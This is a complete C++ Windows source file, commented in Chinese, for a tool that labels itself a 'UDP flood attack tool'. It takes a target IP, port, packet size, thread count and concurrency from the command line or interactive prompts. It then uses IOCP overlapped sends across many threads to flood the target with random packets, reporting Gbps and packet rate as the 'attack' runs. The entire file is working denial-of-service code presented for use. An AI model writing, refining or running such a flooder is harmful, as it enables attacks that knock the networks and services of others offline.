#define _WIN32_WINNT 0x0602
#include <winsock2.h>
#include <ws2tcpip.h>
#include <mswsock.h>
#include <windows.h>
#include <vector>
#include <atomic>
#include <thread>
#include <iostream>
#include <cmath>
#include <string>
#include <limits>
#include <algorithm>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "mswsock.lib")
using namespace std;
//-static-libgcc -O3 -flto  -fno-rtti -funroll-loops -ffast-math -DNDEBUG -lws2_32
// 配置参数（设为变量，可由用户输入）
int PACKET_SIZE = 1472;           // UDP包大小
int CONCURRENT_SENDS = 1024;      // 每个线程并发发送数
int THREAD_COUNT = 4;             // 工作线程数（建议设置为CPU核心数）
constexpr int STATS_INTERVAL_MS = 1000;     // 统计间隔
constexpr int SEND_BUFFER_SIZE = 16 * 1024 * 1024; // 16MB发送缓冲区
string TARGET_IP = "127.0.0.1"; // 目标IP
int TARGET_PORT = 80;          // 目标端口

// 快速随机数生成器（Xorshift128+）
class FastRand {
    uint64_t s[2];
public:
    FastRand(uint64_t seed = GetTickCount64()) {
        s[0] = seed ^ 0x6A09E667F3BCC909;
        s[1] = seed ^ 0xBB67AE8584CAA73B;
        if (s[0] == 0) s[0] = 1;
        if (s[1] == 0) s[1] = 1;
    }

    inline uint64_t next() {
        uint64_t s1 = s[0];
        uint64_t s0 = s[1];
        s[0] = s0;
        s1 ^= s1 << 23;
        s[1] = s1 ^ s0 ^ (s1 >> 17) ^ (s0 >> 26);
        return s[1] + s0;
    }

    void fill(char* buf, size_t size) {
        uint64_t* ptr = reinterpret_cast<uint64_t*>(buf);
        size_t count = size / sizeof(uint64_t);
        
        for (size_t i = 0; i < count; ++i) {
            ptr[i] = next();
        }
        
        // 填充剩余字节
        uint64_t last = next();
        memcpy(buf + count * sizeof(uint64_t), &last, size % sizeof(uint64_t));
    }
};

// 预分配的数据包缓冲区(64字节对齐)
struct alignas(64) PacketBuffer {
    vector<char> data;
    WSABUF wsabuf;
    OVERLAPPED overlapped;
    sockaddr_in target_addr;
    
    PacketBuffer(FastRand& rand_gen, int packet_size, const string& target_ip, int target_port) 
        : data(packet_size) {
        wsabuf.buf = data.data();
        wsabuf.len = packet_size;
        memset(&overlapped, 0, sizeof(overlapped));
        
        // 用随机数据填充
        rand_gen.fill(data.data(), packet_size);
        
        // 设置目标地址
        memset(&target_addr, 0, sizeof(target_addr));
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(target_port);
        inet_pton(AF_INET, target_ip.c_str(), &target_addr.sin_addr);
    }
};

// 线程统计结构
struct ThreadStats {
    std::atomic<uint64_t> packets_sent{0};
    std::atomic<uint64_t> bytes_sent{0};
    std::atomic<uint64_t> send_errors{0};
};

// 全局统计
struct GlobalStats {
    ThreadStats thread_stats[32]; // 支持最多32个线程
    std::atomic<bool> running{true};
} global_stats;

// 工作线程函数
void WorkerThread(SOCKET sock, HANDLE iocp, int thread_id, int packet_size, int concurrent_sends, 
                  const string& target_ip, int target_port) {
    FastRand rand_gen(GetCurrentThreadId() + GetTickCount64());
    ThreadStats& stats = global_stats.thread_stats[thread_id];
    
    // 预分配并发缓冲区
    vector<PacketBuffer> buffers;
    buffers.reserve(concurrent_sends);
    for (int i = 0; i < concurrent_sends; ++i) {
        buffers.emplace_back(rand_gen, packet_size, target_ip, target_port);
    }
    
    // 初始化所有发送请求
    for (auto& buf : buffers) {
        DWORD bytes_sent;
        DWORD flags = 0;
        
        int ret = WSASendTo(
            sock,
            &buf.wsabuf,
            1,
            &bytes_sent,
            flags,
            (sockaddr*)&buf.target_addr,
            sizeof(buf.target_addr),
            &buf.overlapped,
            nullptr
        );
        
        if (ret == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
            stats.send_errors++;
        }
    }
    
    // IOCP处理循环
    while (global_stats.running) {
        DWORD bytes_transferred;
        ULONG_PTR completion_key;
        LPOVERLAPPED overlapped;
        
        BOOL success = GetQueuedCompletionStatus(
            iocp,
            &bytes_transferred,
            &completion_key,
            &overlapped,
            100 // 100ms超时避免阻塞
        );
        
        if (!success) {
            if (GetLastError() == WAIT_TIMEOUT) continue;
            break;
        }
        
        // 获取对应缓冲区
        PacketBuffer* buffer = CONTAINING_RECORD(overlapped, PacketBuffer, overlapped);
        
        if (bytes_transferred == packet_size) {
            // 更新统计
            stats.packets_sent++;
            stats.bytes_sent += bytes_transferred;
            
            // 重新填充随机数据
            rand_gen.fill(buffer->data.data(), packet_size);
            
            // 重新提交发送请求
            DWORD bytes_sent;
            DWORD flags = 0;
            
            int ret = WSASendTo(
                sock,
                &buffer->wsabuf,
                1,
                &bytes_sent,
                flags,
                (sockaddr*)&buffer->target_addr,
                sizeof(buffer->target_addr),
                &buffer->overlapped,
                nullptr
            );
            
            if (ret == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
                stats.send_errors++;
            }
        } else {
            stats.send_errors++;
        }
    }
}

// 统计输出线程
void StatsThread(int thread_count) {
    uint64_t last_total_bytes = 0;
    auto last_time = std::chrono::steady_clock::now();
    
    while (global_stats.running) {
        Sleep(STATS_INTERVAL_MS);
        
        // 计算时间差
        auto now = std::chrono::steady_clock::now();
        double elapsed_sec = std::chrono::duration<double>(now - last_time).count();
        last_time = now;
        
        // 汇总所有线程统计
        uint64_t total_bytes = 0;
        uint64_t total_packets = 0;
        uint64_t total_errors = 0;
        
        for (int i = 0; i < thread_count; ++i) {
            ThreadStats& stats = global_stats.thread_stats[i];
            total_bytes += stats.bytes_sent.exchange(0);
            total_packets += stats.packets_sent.exchange(0);
            total_errors += stats.send_errors.exchange(0);
        }
        
        // 计算带宽和速率
        double current_bw_gbps = (total_bytes * 8) / (elapsed_sec * 1e9);
        double pkt_rate = total_packets / elapsed_sec;
        
        // 输出统计信息（中文）
        printf("[统计] 带宽: %.2f Gbps | 包速率: %.2f Kpps | 错误数: %llu\n",
               current_bw_gbps, pkt_rate / 1000, total_errors);
    }
}

// 获取用户输入（整数类型）
void GetInputWithDefault(const string& prompt, int& value, const int& defaultValue) {
    cout << prompt << " (默认: " << defaultValue << "): ";
    string input;
    getline(cin, input);
    
    if (!input.empty()) {
        try {
            value = stoi(input);
        } catch (...) {
            cout << "输入无效，使用默认值 " << defaultValue << endl;
            value = defaultValue;
        }
    } else {
        value = defaultValue;
    }
}

// 获取用户输入（字符串类型）
void GetInputWithDefault(const string& prompt, string& value, const string& defaultValue) {
    cout << prompt << " (默认: " << defaultValue << "): ";
    string input;
    getline(cin, input);
    
    if (!input.empty()) {
        value = input;
    } else {
        value = defaultValue;
    }
}

int main(int argc, char* argv[]) {
    // 默认值
    string target_ip = "127.0.0.1";
    int target_port = 80;
    int packet_size = 1472;
    int concurrent_sends = 1024;
    int thread_count = 4;
    bool use_cli = false;
    
    // 解析命令行参数
    for (int i = 1; i < argc; i++) {
        string arg = argv[i];
        
        if (arg == "-i" || arg == "--ip") {
            if (i + 1 < argc) {
                target_ip = argv[++i];
                use_cli = true;
            } else {
                cerr << "错误: " << arg << " 需要参数" << endl;
                return 1;
            }
        } 
        else if (arg == "-p" || arg == "--port") {
            if (i + 1 < argc) {
                try {
                    target_port = stoi(argv[++i]);
                    use_cli = true;
                } catch (...) {
                    cerr << "错误: 无效的端口号" << endl;
                    return 1;
                }
            } else {
                cerr << "错误: " << arg << " 需要参数" << endl;
                return 1;
            }
        }
        else if (arg == "-s" || arg == "--size") {
            if (i + 1 < argc) {
                try {
                    packet_size = stoi(argv[++i]);
                    use_cli = true;
                } catch (...) {
                    cerr << "错误: 无效的包大小" << endl;
                    return 1;
                }
            } else {
                cerr << "错误: " << arg << " 需要参数" << endl;
                return 1;
            }
        }
        else if (arg == "-c" || arg == "--concurrent") {
            if (i + 1 < argc) {
                try {
                    concurrent_sends = stoi(argv[++i]);
                    use_cli = true;
                } catch (...) {
                    cerr << "错误: 无效的并发数" << endl;
                    return 1;
                }
            } else {
                cerr << "错误: " << arg << " 需要参数" << endl;
                return 1;
            }
        }
        else if (arg == "-t" || arg == "--threads") {
            if (i + 1 < argc) {
                try {
                    thread_count = stoi(argv[++i]);
                    use_cli = true;
                } catch (...) {
                    cerr << "错误: 无效的线程数" << endl;
                    return 1;
                }
            } else {
                cerr << "错误: " << arg << " 需要参数" << endl;
                return 1;
            }
        }
        else if (arg == "-h" || arg == "--help") {
            cout << "UDP洪水攻击工具 - 使用说明\n"
                 << "参数:\n"
                 << "  -i, --ip <IP地址>       目标IP (默认: 127.0.0.1)\n"
                 << "  -p, --port <端口号>     目标端口 (默认: 80)\n"
                 << "  -s, --size <包大小>     UDP包大小 (字节, 默认: 1472)\n"
                 << "  -c, --concurrent <并发数> 每个线程并发发送数 (默认: 1024)\n"
                 << "  -t, --threads <线程数>  工作线程数 (默认: 4)\n"
                 << "  -h, --help             显示帮助信息\n"
                 << "示例:\n"
                 << "  " << argv[0] << " -i 127.0.0.2 -p 80 -s 1472 -c 1024 -t 4\n";
            return 0;
        }
        else {
            cerr << "错误: 未知参数 " << arg << endl;
            cerr << "使用 -h 或 --help 查看帮助" << endl;
            return 1;
        }
    }

    // 如果使用了命令行参数，则直接使用解析的值
    if (use_cli) {
        TARGET_IP = target_ip;
        TARGET_PORT = target_port;
        PACKET_SIZE = packet_size;
        CONCURRENT_SENDS = concurrent_sends;
        THREAD_COUNT = thread_count;
    } else {
        // 交互式配置
        cout << "===== UDP洪水攻击配置 =====" << endl;
        GetInputWithDefault("请输入目标IP", TARGET_IP, string("127.0.0.1"));
        GetInputWithDefault("请输入目标端口", TARGET_PORT, 80);
        GetInputWithDefault("请输入UDP包大小 (字节)", PACKET_SIZE, 1472);
        GetInputWithDefault("请输入每个线程并发发送数", CONCURRENT_SENDS, 1024);
        GetInputWithDefault("请输入工作线程数", THREAD_COUNT, 4);
    }

    // 验证输入
    if (PACKET_SIZE <= 0 || PACKET_SIZE > 65507) {
        cerr << "错误: 无效的包大小 (1-65507字节)" << endl;
        return 1;
    }
    if (CONCURRENT_SENDS <= 0) {
        cerr << "错误: 并发发送数必须大于0" << endl;
        return 1;
    }
    if (THREAD_COUNT <= 0 || THREAD_COUNT > 32) {
        cerr << "错误: 线程数必须在1-32之间" << endl;
        return 1;
    }
    
    cout << "\n===== 启动攻击 =====" << endl;
    cout << "目标: " << TARGET_IP << ":" << TARGET_PORT << endl;
    cout << "配置: " << PACKET_SIZE << "字节/包, " 
         << CONCURRENT_SENDS << "并发/线程, "
         << THREAD_COUNT << "线程" << endl;
    
    // 等待开始 
	cout << "\n按回车键开始攻击，或输入 'c'或'q'或'e' 取消: ";
	string input;
	while (true) {
	    getline(cin, input);
	    
	    // 转换为小写方便比较
	    transform(input.begin(), input.end(), input.begin(), ::tolower);
	    
	    if (input.empty()) {
	        // 用户按回车，开始攻击
	        break;
	    } else if (input == "c" || input == "q" || input == "e") {
	        cout << "攻击已取消" << endl;
	        return 0;
	    } else {
	        cout << "无效输入。请按回车开始攻击，或输入 'cancel' 取消: ";
	    }
	}
    
    // 初始化Winsock
    WSADATA wsa_data;
    if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0) {
        cerr << "WSAStartup失败: " << WSAGetLastError() << endl;
        return 1;
    }
    
    // 创建UDP套接字
    SOCKET sock = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
    if (sock == INVALID_SOCKET) {
        cerr << "创建套接字失败: " << WSAGetLastError() << endl;
        WSACleanup();
        return 1;
    }
    
    // 设置发送缓冲区大小
    int buf_size = SEND_BUFFER_SIZE;
    if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (char*)&buf_size, sizeof(buf_size)) == SOCKET_ERROR) {
        cerr << "设置发送缓冲区失败: " << WSAGetLastError() << endl;
        // 非致命错误，继续运行
    }
    
    // 启用SIO_UDP_CONNRESET (防止连接重置错误)
    DWORD bytes_returned = 0;
    BOOL new_behavior = FALSE;
    if (WSAIoctl(sock, SIO_UDP_CONNRESET, &new_behavior, sizeof(new_behavior), 
             NULL, 0, &bytes_returned, NULL, NULL) == SOCKET_ERROR) {
        cerr << "警告: 设置SIO_UDP_CONNRESET失败: " << WSAGetLastError() << endl;
        // 非致命错误，继续运行
    }
    
    // 创建IOCP
    HANDLE iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
    if (!iocp) {
        cerr << "创建IOCP失败: " << GetLastError() << endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }
    
    // 关联socket到IOCP
    if (!CreateIoCompletionPort((HANDLE)sock, iocp, 0, 0)) {
        cerr << "关联套接字到IOCP失败: " << GetLastError() << endl;
        CloseHandle(iocp);
        closesocket(sock);
        WSACleanup();
        return 1;
    }
    
    // 创建工作线程
    vector<thread> workers;
    try {
        for (int i = 0; i < THREAD_COUNT; ++i) {
            workers.emplace_back(WorkerThread, sock, iocp, i, PACKET_SIZE, CONCURRENT_SENDS, TARGET_IP, TARGET_PORT);
        }
    } catch (const exception& e) {
        cerr << "错误: 创建工作线程失败 - " << e.what() << endl;
        CloseHandle(iocp);
        closesocket(sock);
        WSACleanup();
        return 1;
    }
    
    // 启动统计线程
    thread stats_thread;
    try {
        stats_thread = thread(StatsThread, THREAD_COUNT);
    } catch (const exception& e) {
        cerr << "错误: 创建统计线程失败 - " << e.what() << endl;
        global_stats.running = false;
        
        // 关闭IOCP以唤醒工作线程
        PostQueuedCompletionStatus(iocp, 0, 0, NULL);
        
        for (auto& t : workers) {
            if (t.joinable()) t.join();
        }
        
        CloseHandle(iocp);
        closesocket(sock);
        WSACleanup();
        return 1;
    }
    
    // 等待退出
    cout << "\n攻击运行中... 按回车键停止" << endl;
    cin.ignore(numeric_limits<streamsize>::max(), '\n');
    
    // 停止工作线程
    global_stats.running = false;
    
    // 关闭IOCP以唤醒所有工作线程
    for (int i = 0; i < THREAD_COUNT; i++) {
        PostQueuedCompletionStatus(iocp, 0, 0, NULL);
    }
    
    // 等待所有工作线程结束
    for (auto& t : workers) {
        if (t.joinable()) t.join();
    }
    
    // 停止统计线程
    if (stats_thread.joinable()) {
        stats_thread.join();
    }
    
    // 清理资源
    CloseHandle(iocp);
    closesocket(sock);
    WSACleanup();
    
    cout << "攻击已停止" << endl;
    return 0;
}